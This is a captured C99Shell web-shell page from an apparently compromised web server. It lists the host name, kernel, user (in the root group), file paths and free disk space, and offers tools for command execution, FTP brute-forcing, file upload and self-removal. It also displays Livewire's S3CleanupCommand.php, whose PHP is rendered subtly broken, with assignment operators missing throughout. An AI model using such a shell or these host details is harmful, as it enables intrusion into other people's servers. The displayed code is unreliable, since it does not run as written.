!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/livewire/livewire/src/Commands/   drwxr-xr-x
Free 29.13 GB of 117.98 GB (24.69%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     S3CleanupCommand.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Livewire\Commands;

use 
Illuminate\Console\Command;
use 
League\Flysystem\Cached\CachedAdapter;
use 
Livewire\FileUploadConfiguration;
use function 
Livewire\invade;

class 
S3CleanupCommand extends Command
{
    protected 
$signature 'livewire:configure-s3-upload-cleanup';

    protected 
$description 'Configure temporary file upload s3 directory to automatically cleanup files older than 24hrs';

    public function 
handle()
    {
        if (! 
FileUploadConfiguration::isUsingS3()) {
            
$this->error("Configuration ['livewire.temporary_file_upload.disk'] is not set to a disk with an S3 driver.");

            return;
        }

        
$driver FileUploadConfiguration::storage()->getDriver();

        
// Flysystem V2+ doesn't allow direct access to adapter, so we need to invade instead.
        
if (method_exists($driver'getAdapter')) {
            
$adapter $driver->getAdapter();
        } else {
            
$adapter invade($driver)->adapter;
        }

        if (
$adapter instanceof CachedAdapter) {
            
$adapter $adapter->getAdapter();
        }

        
// Flysystem V2+ doesn't allow direct access to client, so we need to invade instead.
        
if (method_exists($adapter'getClient')) {
            
$client $adapter->getClient();
        } else {
            
$client invade($adapter)->client;
        }

        
// Flysystem V2+ doesn't allow direct access to bucket, so we need to invade instead.
        
if (method_exists($adapter'getBucket')) {
            
$bucket $adapter->getBucket();
        } else {
            
$bucket invade($adapter)->bucket;
        }

        
$client->putBucketLifecycleConfiguration([
            
'Bucket' => $bucket,
            
'LifecycleConfiguration' => [
                
'Rules' => [
                    [
                        
'Prefix' => $prefix FileUploadConfiguration::path(),
                        
'Expiration' => [
                            
'Days' => 1,
                        ],
                        
'Status' => 'Enabled',
                    ],
                ],
            ],
        ]);

        
$this->info('Livewire temporary S3 upload directory ['.$prefix.'] set to automatically cleanup files older than 24hrs!');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0256 ]--